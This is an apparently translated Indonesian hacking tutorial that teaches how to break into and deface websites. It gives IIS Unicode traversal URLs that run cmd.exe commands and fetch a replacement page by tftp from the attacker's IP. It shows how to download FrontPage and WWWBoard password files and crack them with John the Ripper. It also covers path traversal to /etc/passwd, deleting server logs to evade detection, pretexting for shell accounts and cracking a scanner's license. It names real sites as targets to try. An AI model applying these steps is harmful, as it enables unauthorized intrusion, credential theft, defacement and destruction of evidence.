   Pertama yang harus kita ingat, Apache adalah web server yang sulit diserang (tapi bukan mustahil *lho*…), kecuali beberapa versi saja yang agak mudah.
   Ok, sementara kita lewati dulu pencarian *bugs* pada web server Apache.
2. Situs ini ternyata menggunakan program bantu Front Page /5.0.2.2510
   Na…untuk program ini banyak sekali celahnya.
3. Sistem operasi yang dipakai adalah Linux
   Menyerang sistem Linux boleh dikata paling sulit daripada sistem operasi lain. Wallôhu A'lam

Baiklah, sekarang akan coba kita jabarkan kelemahan-kelemahan yang ada pada program Front Page.

Seperti sudah kami katakan, program ini banyak sekali memiliki kelemahan. Kelemahannya di samping banyak juga besar, kira-kira begitu *lah*…

Di antara kelemahan itu adalah folder **_vti_pvt** dan **private**. Inilah bagian yang akan kita serang, karena untuk folder lain biasanya tidak terlalu berguna. Dalam dua folder ini, akan kita temukan empat file penting, yaitu:

1) service.pwd
2) users.pwd
3) authors.pwd
4) administrators.pwd

Ini adalah file paling bahaya, kalau lah kita hanya bisa mendownload satu dari empat file ini, (ingat, celah seperti ini ada pada 70% situs-situs yang tersebar di dunia maya), kemudian kita buka file itu dengan *mafkarah*, akan kita lihat hasil berikut:

**Goodyco: CalXS8USI4TGM**

Ini kita ambil dari sebuah situs tertentu…

**http://www.***.com/_vti_pvt/service.pwd**

Dari sini kita ketahui, Goodyco adalah usernya, sedangkan password yang masih tersandi itu adalah CalXS8USI4TGM. Selanjutnya, bagaimana memecahkan kode password ini?

Kita akan memecahkan kode password ini melalui program Jhon The Ripper (penjelasan tentang penggunaan program ini ada di akhir pembahasan, Insyâ Allôh)

Sekarang kita beralih kepada bagian ketiga yaitu sistem operasi yang digunakan. Seperti kita ketahui dari data di atas, sistem operasi yang dipakai situs itu adalah Linux. Tapi, linux yang versi apa? Ada linux *Red hat,* ada *Mandrix*, dan banyak lagi versi lain, dan *bugs* nya pun juga lebih banyak lagi. Tetapi, yang jelas pada saat seperti ini *Antum* akan menghadapi dua masalah. Pertama, bagaimana mengetahui jenis sistem operasinya? *Antum* bisa mengambil informasi tentang sistem operasi yang dipakai melalui program Tel Net. Caranya, tulis alamat URL situs, nanti akan muncul data tentang sistem operasinya: jenisnya, versinya, dst.

Masalah kedua, *Antum* mesti punya sistem Linux, sebab *bugs* yang ada menggunakan bahasa C, padahal bahasa C hanya bisa dipakai dalam sistem operasi Linux saja.

**Kesimpulan:**

**Dari penjabaran di atas, nampak bahwa aksi *hacking* itu terdiri dari dua bagian: pertama, mengumpulkan data tentang situs yang menjadi target, kemudian kedua melakukan serangan ke situs itu berdasarkan data yang didapat.**

Pada keterangan tadi, kita telah menyelesaikan urusan mengumpulkan data. Sekarang, bagaimana cara melakukan serangan kepada target, berdasarkan data yang sudah dikumpulkan.

Ada beberapa situs, yang menampilkan *bugs-bugs* dari web server, sistem operasi, dsb, secara berkala dan *up to date*. Inti tugas kita selanjutnya adalah, mempelajari *bugs-bugs* itu, lalu memanfaatkannya secara benar, dengan pertolongan Alloh tentunya.

Situs yang menyediakan jasa penampilan *bugs* ini, di antaranya adalah:

**http://www.ussbrack.com/**

Situs ini *sangat-sangat* penting. Setelah membukanya, cari menu *Exploits* yang ada di bagian kiri tampilan, lalu klik pilihan pertama. Di sini akan *Antum* temukan semua *bugs* pada semua sistem operasi, sejak dari Linux, Windows, dll; jenisnya pun bermacam-macam, ada bahasa C, Perl, Unicode, dsb.

Ada situs lain yang semisal, yaitu:

**http://www.neworder.box.sk**

Situs ini sangat membantu sekali. Sekedar contoh, coba *Antum* tulis pada kotak yang ada pada bagian kiri situs ini: IIS, atau: Apache, atau nama forum sebauh situs dan nama yang mengeluarkannya, atau program apa saja yang menurut *Antum* terlihat ada celah kelemahannya.

***Situs-situs penyedia Archive berisi bermacam-macam bugs:***

**www.securiteam.com/exploits/archive.html**
**www.ussrback.com**
**www.secureroot.com**
**http://www.rootshell.com**
**www.secureroot.com/category/exploits**

Ada juga program yang fungsinya adalah mencari *bugs* pada suatu situs, lalu menyuguhkannya kepada *Antum* dalam "nampan emas" (saking mudahnya *kali*… penerj.), program ini adalah program terbaik untuk mencari *bugs*, semoga Alloh selalu menjadikan maksud tujuan kita sempurna untuk meraih semua kebaikan yang Dia ridhoi.

1. Program **Shadow Security Scanner**
   Untuk mendown load program ini, *Antum* bisa meng-klik link berikut ini (juga tutorial tentang program crack):
   **http://mirror1.safety-lab.com/SSS.exe**
   Untuk download program *crack*:
   **http://www.aldamar.net/index_files/license.zip**
   Untuk download program transfer ke dalam bahasa arab:
   **http://www.aldamar.net/index_files/ssslanguage.zip**
   Untuk download link penjelasan tutorial program ini, klik:
   **http://www.aldamar.net/index_files/ssslanguage.zip**
   Program ini sangat populer dan memiliki kecepatan tinggi dalam mencari celah dan *bugs* suatu situs. Setelah di download, lakukan penginstalan dan pengoperasikan program. *Antum* akan diminta *updating*, klik saja Yes. Setelah itu, matikan program ini. Tugas utama *Antum* adalah membuat file **License.key** dari hasil *cracking*, setelah itu meletakkan file ini dalam program. Setelah itu, jalankan kembali program, maka file akan terbuka. Kemudian, *Antum* akan ditanya,

"Apakah Anda mau Mendaftar?" jawab dengan mengklik *button* **Done**. Penjelasan seputar program, sudah ada di dalam link di atas, Alhamdulillah…

2. Program **CGI Scanner**
   Ini adalah program khusus yang mencari *bugs* CGI. Program ini adalah yang terbaik untuk mencari *bugs* ini, wallôhu A'lam… program ini –alhamdulillah— juga sudah ada di daftar link di atas.
3. Program **Uni Scan**
   *Antum* bisa mendapatkan program ini pada link berikut:
   **http://online.securityfocus.com/data/tools/uniscan.zip**
   Program ini sama dengan dua program sebelumnya, hanya saja program ini khusus mencari *bugs* Unicode.
   Sampai di sini kita telah mengetahui cara mencari *bugs* (celah, titik lemah) pada sebuah situs.
   Langkah berikutnya adalah, bagaimana memanfaatkan *bugs* yang sudah kita temukan.
   **Cara menembus *bugs*:**
   a. Posisi penembusan *bugs*:
      **http://www.xxxxx.com/scripts/..&Aa....exe?/c+dir+c:**
      yaitu, setelah alamat utama URL (setelah penulisan .com)
      Mungkin akan ada yang bertanya, Apanya yang kelihatan? Dan bentuknya *kayak* apa?
      Jawabannya sederhana saja, kalau hal ini *Antum* tulis di DOS, akan muncul file-file DIR. Nah, cara menampakkan file-file pada *explorer*, kira-kira sama dengan cara dalam DOS. Wallôhu A'lam…
   b. Penjelasan tentang berbagai macam *bugs* dan cara memanfaatkannya:
      1. Penjelasan tentang *bugs* pada Front Page dan cara memanfaatkannya:
         *Bugs* Front Page adalah *bugs* yang banyak sekali tersebar di situs-situs yang ada. Biasanya, bentuknya adalah sebagai berikut:
         **www.***.com/_vti_pvt**
         Maka, yang dimaksud di sini, *bugs* nya adalah **_vti_pvt**. Dari sini nanti, akan terlihat di depan *Antum* file-file Front Page dalam situs dan nama operatornya.
         **Catatan penting:**
         *Bugs* ini hanya bisa ditembus dan hanya ada pada situs yang menggunakan Front Page, dan tidak cocok untuk selain ini. Sehingga, *Antum* harus tahu lebih dahulu apakah situ situ memakai Front Page atau tidak, dengan masuk ke situs: **http://www.netcraft.net**
         Setelah masuk, ada kotak segi panjang di hadapan *Antum*. Nah, masukkan nama situs yang akan *Antum* cari data tentangnya.
         Yang penting bagi kita hanya satu file saja, yang lain biasanya tidak terlalu penting, file itu adalah: **sercive.pwd**
         Kalau kita buka dengan *explorer*, akan kita lihat pass wordnya masih samar (dalam bentuk kode). Jadi bentuk adalah sebagai berikut:

         **-FrontPage-**
         **Ekendall: bYld1Sr73NLKo**
         **Louisa: 5zm94d7cdDFiQ**

         Di sini kita lihat, situs itu memamakai dua operator, yaitu **Ekandall** dan **Louisa**. Tentu, kedua kode di atas akan kita pecahkan dengan program Jhon The Ripper. Setelah berhasil memecahkan kode Password, kita buka kembali Front Page, lalu klik: **File → Open Web**. Lalu, tulislah alamat situ situ, maka akan segera muncul tampilan utamanya (home). Sekarang,

silahkan robah apa yang *Antum* mau robah, dan setelah itu jangan lupa **Save or publish**.
Setelah itu, *Antum* akan diminta mengisi user name dan password, ini mudah *Insyâ Alloh*. Tulis saja user name dan passwordnya seperti biasa, lalu klik **sign.**
Situs di bawah ini, akan kita coba sebagai percobaan, dengan bantuan Alloh:
**http://www.heyerl st.org/garderobe/_vt _pvt**
(silahkan coba ya… --penerj.)

2. Penjelasan tentang *bugs* WWWBoard
   Ini adalah *bugs* yang paling mudah pada Front Page. Taruhlah situs yang akan kita serang adalah **http://www.boardprep.net/** (Sekali lagi ini sekedar contoh), dan *Antum* lihat di belakangnya belum ada *bugs* nya.
   Sekarang, kita tambahkan di belakangnya: **wwwboard/passwd.txt**
   Sehingga, alamat URL nya menjadi:
   **http://www.boardprep.net/wwwboard/passwd.txt**
   Ketika *Antum* buka alamat URL di atas, akan muncul: **Cknouse: aexMVWnDOyrdE**
   Artinya, user namenya adalah **cknouse**, sedangkan kode passwordnya adalah: **aexMVWnDOyrdE**
   Pecahkan sandi di atas dengan program Jhon The Ripper.
   Ok, sekarang *Antum* sudah punya user namenya dan sekaligus kode passwordnya. Lalu, apa langkah berikutnya? Bagaimana cara mengubah tampilan utama situs?
   Sekarang, kita buka program FTP, setelah itu ketikkan: **ftp.domen.com**
   Perhatikan, kata **domen.com** gantilah dengan alamat situs yang sudah *Antum* pegang user name dan passwordnya. Setelah itu, silahkan isi user name dan passwordnya, dan masukklah ke dalam situs. Selanjutnya, buatlah satu tampilan baru dan beri nama file: **index.html**, setelah itu silahkan di upload ke situs.
   Untuk mendownload program FTP, klik link di bawah ini:
   **http://members.home.nl/patrick.pagina/temp/Ws-ftp32. zip**
3. Penjelasan tentang *CGI Bugs* dan cara memanfaatkannya:
   Ada *bugs-bugs* yang langsung bisa diaplikasikan melalui *explorer*, seperti Unicode, dan beberapa *bugs* pada CGI. Hanya saja, sebagian –atau mungkin sebagian besar—*bugs* yang diaplikasikan lewat *explorer*, hanya dapat dipastikan keberadaannya melalui *explorer*.
   *Bugs-bugs* yang bisa dimanfaatkan langsung dari *explorer* contohnya adalah: **/cgi-bin/passwd.txt**
   Kalau situsnya adalah: **www.suatusitus.com**, maka pada *explorer Antum* tulis begini: **www.sebuahsitus.com/cgi-bin/passwd.txt**
   Selanjutnya, *bugs* ini akan menampilkan buat *Antum* user name dan password-password yang digunakan oleh para pengguna situs. Seperti pimpinan redaksi, serta siapa saja yang diperbolehkan masuk ke dalam gudang data situs itu.
   Tentu saja, jangan sekali-kali *Antum* coba menggunakan *bugs* ini sekarang, kecuali kalau *Antum* ingin menyerang situs di Zimbabwe, yang oleh pengelolanya sudah ditelantarkan sejak 10 tahun lalu. *Bugs* ini mungkin sudah tidak lagi cocok untuk situs tersebut, karena sudah sangat populer.
   Khusus untuk mengambil kelemahan dari file-file CGI & Perl sehingga kita bisa sampai kepada **.etc/passwd**, maka kita akan mengambil *bugs*

jenis **Show Files**. Ketika file /**cgi-bin/apexec.pl?** dan password, maka kita harus menggunakan *bugs* ini untuk bisa sampai kepada:
**http://www.target.com/cgi-bin/apexe...te=../../../../../../../../../etc/resolv.conf%00.html&passurl=/category/**
dengan mengganti *phat* nya sesuai dengan nama file yang diinginkan. Ini untuk Perl. Hal yang sama juga berlaku pada CGI (/**cgi-bin/hsx.cgi?**) ketika file ini ditemukan di **/cgi-bin/**
Silahkan *Antum* coba *bugs* berikut ini:
**http://www.Target.com/cgi-bin/hs .c..../etc/passwd%00**
Cara paling baik untuk mendapatkan file ini adalah dengan memakai metode acak, atau dengan menggunakan program *Scan* sehingga *bugs-bugs* yang ada pada situs bisa dideteksi.
Letakkan file-file itu pada kolom *bugs*, seperti **/cgi-bin/hsx.cgi**, ketika itu ditemukan, *bugs* sudah bisa digunakan, dengan bantuan Alloh.

4. Penjelasan tentang *Bugs* IIS dan cara memanfaatkannya:
   IIS adalah **Internet Information Service**
   Biasanya kita menggunakan *bugs*-nya dengan program Unicode's, dan itu jenisnya banyak sekali, di antaranya:
   **http://www.xxx.com/scripts/..&Aacu...d.exe?/:c+dir+c**
   **http://www.xxx.com/scripts/..&Agra...d.exe?/:c+dir+c**
   **http://www.xxx.com/scripts/..&Agra...d.exe?/:c+dir+c**
   **http://www.xxx.com/scripts/..&Agra...d.exe?/:c+dir+c**
   **http://www.xxx.com/scripts/..&Aacu...d.exe?/:c+dir+c**
   **http://www.xxx.com/scripts/..&Aacu...d.exe?/:c+d r+c**
   **http://www.xxx.com/scripts/..&Aacu.../cmd.exe?/c+dir +c:**
   **/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:**
   **/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:**

CARA MEMANFAATKAN *IIS BUGS* LEBIH DARI SATU CARA:
Bugs-bugs IIS bisa langsung kita praktekkan melalui *explorer* dengan memanfaatkan file **cmd.exe** agar semua perintah (command) yang kita minta terlaksana.

CONTOH *BUGS* INI DAN APLIKASI COMMAND:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:**

COMMAND UNTUK MEMBUAT PENUNJUK BARU:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+md+cJ**

COMMAND UNTUK MEN-DELETE PETUNJUK:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+rd+cJ**

COMMAND UNTUK MENG-COPY:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpubscriptsDJ.exe**

COMMAND UNTUK MENGHAPUS:

**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+md+c:inetpubwwwrootindex.asp**

COMMAND UNTUK ME-RENAME FILE:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+ren+cJ.htm+DJKING.htm**

COMMAND UNTUK MELIHAT ISI FILE:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+type+c:index.htm**

COMMAND UNTUK MENULISKAN SESUATU DALAM FILE APA SAJA:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+HACKED+BY+DJ+KING+>+cJ.txt**
INGAT: Kadang kita perlu merubah nama petunjuk (exentition) menjadi: **msadc, scripts, _vit_admin, iisadmpwd, _vti_bin, cgi-bin, .samples.**

SEKARANG, UNTUK MERUBAH TAMPILAN AWAL (HOME) SEBUAH SITUS, MAKA HARUS:

- Menuliskan sesuatu pada Home dengan menggunakan perintah **echo**
- Meng-apload tampilan buatan *Antum* melalui program **TFTP**
- Menuliskan sesuatu pada file Home sebuah situs (file: **index.html**) adalah menggunakan command **echo**.

Sebagai dasar, *Antum* harus terlebih dahulu meng-copy file **cmd.exe** ke folder **scripts**, caranya seperti ini –sekedar contoh saja:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+copy+c:winntsystem32cmd.exe+c:inetpubscriptsDJ.exe**
Nah, setelah meng-copy file ini, selanjutnya bisa dilakukan pemeriksaan terhadap *bugs* lain yang ada di situs tersebut, caranya:
**http://www.xxx.com/scripts/DJ.exe/c+dir+c:**
Setelah itu, command **echo** baru bisa dijalankan, caranya adalah:
**http://www.xxx.com/scripts/DJ.exe?/...hackermail.com+>+c:inetpubwwwrootindex.htm**

CATATAN PENTING:
File indeks utama sebuah situs tidak selalunya bernama **index.htm**, bisa saja namanya: **default.html**, **index.html**, **default.asp**, **default.htm**. Jadi, pastikan dulu nama file indeksnya.
Tapi, biasanya **index.htm** lah yang sering dipakai. Ada kemungkinan juga bahwa file indeks berada di selain folder **wwwroot**, jadi harus dicari.

CARA MENG-UPLOAD TAMPILAN UTAMA (BIKINAN KITA, PENERJ.) DENGAN PROGRAM TFTP:
Ingat ya… program TFTP ini bisa *Antum* temukan dengan meng-klik link yang sudah kami sebutkan di atas, berkat anugerah Alloh.
Aplikasi *bugs* nya juga bisa dilakukan dengan cara yang sudah kita jelaskan di atas. Sekarang, silahkan mendownload program FTP, program ini kecil ukurannya dan gratis. Letakkan program ini pada directory **c:**
Taruh file **index** (bikinan *Antum*) atau lebih tepatnya tampilan utama buatan *Antum* yang akan *Antum* upload, pada directory **c:** juga.

Sudah… sekarang jalankan program TFTP nya, kalau sudah siap maka masukkan perintah berikut ini:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+tftp.exe+"-i"+y.y.y.y+GET+index.htm+C:inetpubwwwrootindex.htm**

Perintah **tftp.exe** di atas, maksudnya adalah program FTP yang digunakan untuk meng-upload.
Sedangkan **"i-"** adalah parameternya.
Dan **y.y.y.y** adalah IP address *Antum*.
Untuk perintah lainnya, menurut saya tidak terlalu penting untuk saya jelaskan.
Untuk **C:inetpubwwwrootindex.htm**, maksudnya adalah posisi directory yang dituju seperti telah saya sebutkan. Tetapi, antara satu situs dengan situs lain tidak selalu sama letakknya, maka dari itu harus benar-benar dipastikan dulu letak directory tersebut sebelumnya.
Terakhir, untuk menghapus **log** caranya adalah:
**http://www.xxx.com/_vti_bin/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+c:/winnt/system32/logfiles/*.log**
Begitulah kira-kira cara memperlakukan server-server situs yang ada di windows dan IIS. Adapun situs-situs yang menggunakan server **Apache on Linux** misalnya, maka cara logikanya sama sekali berbeda, yang sama hanya pada penyerangan melalui **ftp server**. Sebab, kebanyakan copy-an program **ftp** itu memiliki banyak *bugs* dan bisa dimanfaatkan.

5. Penjelasan Tentang *Bugs* Pada Unicode Dan Cara Memanfaatkannya:
   Pertama, bugs-bugs pada Unicode:
   **UNICODE - Internet Information Service IIS4 - IIS5**
   Unicode adalah: Sistem operasi untuk menjalankan data-data pada Internet. Ada yang versi 4.0 ada yang 5.0
   Jadi pengertian Unicode adalah sekumpulan *bugs* yang ada dalam sekumpulan operator file, yang biasanya digabungkan dengan IIS 4.0 atau IIS 5.0, yang mana biasanya juga dibarengi dengan NT4 atau Win2k.
   CARA MENEMUKAN BUGS-BUGS INI:
   Untuk menemukan *bugs-bugs* ini, bisa dengan memakai dua cara:
   Pertama, memakai program yang sesuai dan khusus yang berfungsi untuk menemukan *bugs-bugs* ini. Baik dengan program yang bekerja untuk sistem operasi Windows, mau pun dengan Shell yang bekerja untuk sistem operasi Linux.
   Kedua, dengan mengaplikasikan *bugs* langsung pada situs.
   BAGAIMANA CARA MEMANFAATKAN BUGS PADA UNICODE?
   Pada penerapan bugs yang ada dalam IIS 4.0 mau pun IIS 5.0, file CMD akan memulai dengan memecahkan kode pada Unicode ketika contoh yang diberikan keliru. Nah ketika inilah, bugs itu bisa dimanfaatkan.
   PERINTAH-PERINTAH DALAM FILE CMD:
   Perintah di sini berfungsi untuk membuat penunjuk baru, atau me-*remove* penunjuk, copy-paste, menghapus dan merubah nama file, melihat isi file, menulis di dalam file apa saja, dan perintah untuk menarik file apa saja. Contohnya adalah sebagai berikut:
   Pertama dengan menjalankan file **ssinc.dll**, caranya:
   Buat page dengan nama **test.shtml**, letakkan page ini dalam folder **wwwroot/hEx/test.shtml**

Penulisan Kode ini ada dalam layar *explorer*, di mana huruf A bisa ditulis lebih dari 2049 kali. Sekarang, kita meminta tampilan itu ditayangkan di layar, setelah menuliskan: **http://www.xxx.com/test.shtml**
Setelah itu, akan segera muncul tampilan di hadapan *Antum*. Sekarang *Antum* bisa menuliskannya, sehingga terbentuklah masalah berupa **Acces denied**. Jika perintah error itu nomornya 500, maknanya adalah *Antum* belum melakukan langkah yang benar, dan *Antum* harus mengulanginya.
Cara kedua, dengan menggunakan program **NC.exe**
Pada kondisi ini, file di upload di dalam folder **Temp** pada penunjuk Windows.
Nah, perintah-perintahnya bisa dijalankan melalui DOS. Dan asal tahu, folder **Temp** bisa diupload.
Cara ketiga, dengan menggunakan aksi *cracking* terhadap server menggunakan program yang sesuai dengan tujuan ini. Tetapi, cara seperti ini sering sekali tidak terlalu bermanfaat.
Cara keempat, mencari file **root.exe**, **sensepost.exe**, **shell.exe**, **w3svc.exe** lalu meng-copy nya ke folder **c:\inetpub\scripts**, setelah itu memanfaatkan *bugs* melalui jalan ini.
Sampai di sini kami telah memberikan penjelasan sekaligus contoh, tentang bagaimana menyerang situs melalui *bugs-bugs* yang ada di dalamnya.
Tetapi ada yang lebih penting lagi, bahwa ada *bugs-bugs* yang bisa menghantarkan kita untuk memperoleh file password dari sistem operasi. Jika kita berhasil mendapatkan file ini dan memecahkan kodenya, seluruh sistem operasi akan "tunduk" kepada kita, dan semua situs yang ada di bawah server tersebut bisa kita arahkan sesuka kita. Nah, inilah yang akan kita jelaskan pada bagian berikut ini dengan bantuan Alloh.

## FILE-FILE PASSWORD, *DIAPAKAN?*

Sebelum memulai pembahasan bagian ini, sebaiknya –tapi *nggak* harus *sih*—*Antum* melihat kembali penjelasan tentang pengertian file password pada pembahasan awal, yang berisi tentang istilah-istilah dasar dan definisinya.

Jika file password terselubung (ter-*shadow*), apa yang harus kita lakukan? Sekarang *nich* – misalnya—semua file password ter-*shadow*, tapi…ternyata ada cara untuk membongkarnya.

Jika ada file password yang ter*shadow*, maka *Antum* harus mencari file yang namanya **shadow.**

Terus, di mana kita bisa menemukan letak file **shadow** di dalam sistem?

File **shadow** ini memang hanya terletak di direktori-direktori tertentu. Masing-masing sistem operasi punya tempat sendiri dalam meletakkan file ini. Nah, berikut ini tabelnya:
Untuk Linux: **etc/shadow** symbolnya adalah: *
Untuk SunOs: **/etc/master**
**Passwd** atau **/etc/shadow** symbolnya adalah: *
Sistem SunOs punya banyak symbol password, tapi yang paling populer adalah: *
Untuk FreeBsd: **/etc/master**
**Passwd** atau **/etc/shadow** symbolnya adalah: *

Untuk symbol versi yang baru bentuknya adalah: x
Untuk IRIX: **/etc/shadow** symbolnya adalah: x
Untuk AIX: **/etc/security/passwd** symbolnya adalah: !
Untuk ConvexOS: **/etc/shadow** atau **etc/shadpw** symbolnya adalah: *

Jadwal ini sangat memudahkan pekerjaan kita. Karena, misalnya *Antum* menjumpai password dalam symbol !, berarti password itu tertulis di dalam **/etc/security/passwd**.

Selanjutnya, *Antum* silahkan memanfaatkan tabel di atas. Inilah contoh tentang file **shadow.** (file Shadow adalah file yang memuat kode password yang benar)

File **shadow** yang membahas tentang kode terselubung, langkah terakhirnya adalah menggabungkan file **password** dengan file **shadow**.

Saya sarankan, untuk menggabungkan file password dan file shadow, sebaiknya *Antum* menuliskan command yang akan saya sebutkan nanti, di dalam program **john the ripper**. Berikut ini link untuk mendown load program John The Ripper:

**http://www.openwall.com/john**

Saya *kasih tahu* dulu ya… bahwa program ini khusus untuk memecahkan kode password. Hanya saja, ada command khusus yang bisa difungsikan untuk menggabungkan file shadow dan file password, command ini dilakukan untuk menjamin tidak terjadinya error ketika menggabungkan keduanya. Command itu adalah:

**Unshadow passwd.txt shadow.txt**

Kalau penggabungan dengan cara ini tidak berhasil, *Antum* bisa saja melakukannya dengan cara manual, dan itu mudah. Akan tetapi untuk menjamin tidak terjadinya kesalahan ketika menggabungkan dengan manual seperti ini, *Antum* ganti symbol x pada file password dengan "L" yang ada dalam file shadow. Selanjutnya, lakukan hal yang sama (mengganti setiap symbol x yang ada di file password)

Setelah dua file ini berhasil digabungkan, program John The Ripper sudah siap untuk dijalankan. Selanjutnya program ini akan menganalisa kode password (lalu mengeluarkan hasilnya) dengan sangat "cepat". Tapi, *Antum* harus sabar *ya*…sebab analisa ini kadang bisa berjalan berhari-hari (lihat penjelasannya di akhir artikel ini).

Ok… sekarang *taruhlah* kita *udah* dapat kode password yang benar, lalu apa yang harus kita lakukan selanjutnya?

## CARA MEMANFAATKAN PASSWORD

*Antum* bisa memanfaatkan passwors suatu situs dengan masuk ke Tel Net. Silahkan masuk ke Tel Net, dan *Antum* bisa berbuat sesuka *Antum*. Atau, bisa juga masuk ke program FTP, dan ini lebih mudah dan lebih populer.

Lalu, bagaimana masuk dengan program FTP? *Antum* bisa memakai salah satu dari sekian program FTP, di antaranya:

**Ws_Ftp** atau **Build 10.4.1** atau **CuteFTP 4.2.5**

Kalau ini berhasil, sekarang –dengan pertolongan Alloh—kita bisa menyerang situs dan mengganti tampilan awalnya dengan –misalnya—"SITUS INI TELAH DIHACK". Terus… gimana caranya?

*Antum* sudah bisa merubah tampilan awal situs ketika password dari situs itu berada di tangan *Antum*. Setelah *Antum* tahu passwordnya, silahkan masuk ke situs. Lalu, cari file **index**, silahkan *Antum* buka file ini dan *delete* saja, atau *Antum* ganti dengan file lain tapi namanya dibuat sama (index.htm), semua yang kita inginkan itu bisa kita jalankan melalui program Cute FTP atau WS_FTP PRO. Program ini mudah *kok*, insyâ Allôh…

*Antum* juga bisa mencoba masuk ke ruang pengaturan (control panel) sebuah situs. Kebanyakan, ruang pengaturan situs dibuka dengan mengetikkan:

**www.namasitusnya.com:2082**

Atau:

**www.namasitusnyaapa.com/cpanel**

Ini kalau situs itu menggunakan program Cpanel, tapi program ini paling banyak digunakan oleh situs-situs.

Setelah ini, akan keluar jendela yang meminta *Antum* menuliskan username dan passwordnya, nah (karena *Antum* sudah punya) *Antum* bisa masuk, *bi idznillâh*…

Di sini akan kita jelaskan juga aksi yang sama dengan di atas, tapi menggunakan program TFTP. **Bagaimana merubah tampilan awal situs dan mengupload file dengan menggunakan program TFTP?**

Coba *Antum bikin* file berisi tampilan situs, jangan lupa menuliskan slogan yang *Antum* inginkan di dalamnya. Kalau sudah, *save* file tersebut dan beri nama: **index.htm,** letakkan di drive c:\

Kalau sudah, jalankan program TFTP nya, lalu masukkan command berikut ini:

**c:\tftp.exe "-i" 1.1.1.1 GET index.htm** dan

**C:\inetpub\wwwroot\index.htm**

Rinciannya adalah berikut ini:

**tftp** adalah program yang harus ada untuk melakukan upload. Program ini harus aktif ketika command dijalankan.

**"-i"** maksudnya adalah parameter yang dipakai untuk membaca data dalam database.

**1.1.1.1** adalah nomor IP *Antum*

**GET** adalah perintah untuk meminta file, mau dilepas atau didatangkan.

**Index.htm** adalah nama file di komputer *Antum*.

**\inetpub\wwwroot** adalah nama penunjuk di server.

**Index.htm** adalah nama file di server.

Sekarang, ada satu hal penting yang mesti dilakukan ketika *Antum* meng-*hack* suatu situs. Yaitu menyamarkan identitas setelah melakukan *hack*, supaya tidak dikenali oleh pemiliki situs, sehingga dia nanti akan menyakiti atau berbuat jahat kepada kita. Gimana caranya?

Kita tulis command berikut ini pada DOS:

**c:\ del c:/winnt/system32/logfiles/*.log**

Atau, bisa juga kita masuk ke **c:** lalu ke **windows**, nah di sana ada file **system32**, setelah itu kita hapus dan delete semua file yang diakhiri dengan **.log.**

Sekarang, saatnya kita tambahkan satu point pembahasan penting, yang barangkali akan berguna bagi *para ikhwan* yang menggunakan sistem operasi Linux dan melakukan *hacking*. Point itu adalah, bagaimana cara mendapatkan program Shell Account secara gratis. Untuk mendapatkannya, berikut ini penjelasannya:

Sebelumnya, perlu diketahui bahwa Shell Account itu ada dua:

5) **restricted**
6) **non-restricted**

Apa bedanya? *Kalo* **restricted** harus bayar, tapi *Antum* bisa memasukkan command berbentuk apa pun. Adapun **non-restricted** itu *nggak* bayar (alias gratisan); tapi yang jadi masalah, *Antum* tidak bisa memasukkan semua bentuk command di dalamnya.

Untuk memperoleh Shell Account *gratisan*, *Antum* bisa mengunjungi situs yang menyediakannya. Di antaranya adalah: **www.cyberarmy.net**

Atau, *Antum* bisa membuka **help**, dan mintalah Shell Account. Tentu dia akan bertanya, mengapa kamu menginginkan Shell Account? Jawab *aja*… saya mau memakainya untuk berlatih mengoperasikan Linux dan Unix, nanti.

Jawaban seperti ini sudah cukup, dia akan memberikan Shell Account kepada *Antum*.

Command dalam Shell Account itu banyak sekali bentuknya, masing-masing punya keistimewaan, urutannya adalah berikut:

1. **Telnet**
2. **Nslookup**, ini akan memberi *Antum* data-data tentang *nameservers*.
3. **ftp**
4. **finger**
5. **trace route**
6. **dig,** command ini biasanya tidak bisa dipakai dalam Shell Account *gratisan*
7. **netstat**
8. **gcc,** ini adalah *Compiler* untuk bahasa program c
9. **gzip**, berfungsi untuk membuka file yang di *compress*
10. **lynx**, adalah penjelajah (explorer) pada situs internet

## PENJELASAN SINGKAT TENTANG PROGRAM-PROGRAM YANG AKAN KITA PAKAI

Pertama, penjelasan tentang program John The Ripper. Letakkan program ini di drive c:

*Ingat lo*…passwordnya ditaruh di file program, tepatnya di file **txt,** *kasih* nama: password. Supaya nanti menjelaskannya *enak*…

Untuk cara mengaktifkan program ini, *Antum* harus tahu bahwa program ini dioperasikan di DOS. Jadi, silahkan masuk dulu ke DOS, lalu ketik **cd..** sehingga nanti keluar tulisan seperti ini:

**C:\>**

Setelah itu, tulis **john**

Sekarang, command yang mau dipakai apa *aja*…

1. Ada command yang berfungsi kemungkinan-kemungkinan kata yang ada pada deretan kata sandi (password). Bentuknya adalah:
   **john –w:wordlist.txt password.txt**
   file **wordlist** adalah file yang berisi kemungkinan kata dan passwordnya yang masih terselubung. Walaupun, saya tidak menganjurkan menggunakan pilihan ini. Wallôhu A'lam…
2. Command yang berfungsi untuk mencari kata rahasia yang sesuai dengan *username*, bentuknya adalah: **john –single passwd.txt:**
3. Command yang hanya berfungsi mencari nomor saja, bentuknya: **john –iD:igit passwd.txt**
4. Command yang berfungsi mencari huruf alphabet kecil, bentuknya: **john –i:Alpha passwd.txt:**
5. Command yang berfungsi untuk mencarikan semua kemungkinan kata buat *Antum*, bentuknya: **john –i:all passwd.txt**
   Ini adalah pilihan terakhit ketika semua usaha gagal, karena pilihan ini sangat panjang tetapi merupakan pilihan terbaik, wallôhu A'lam…

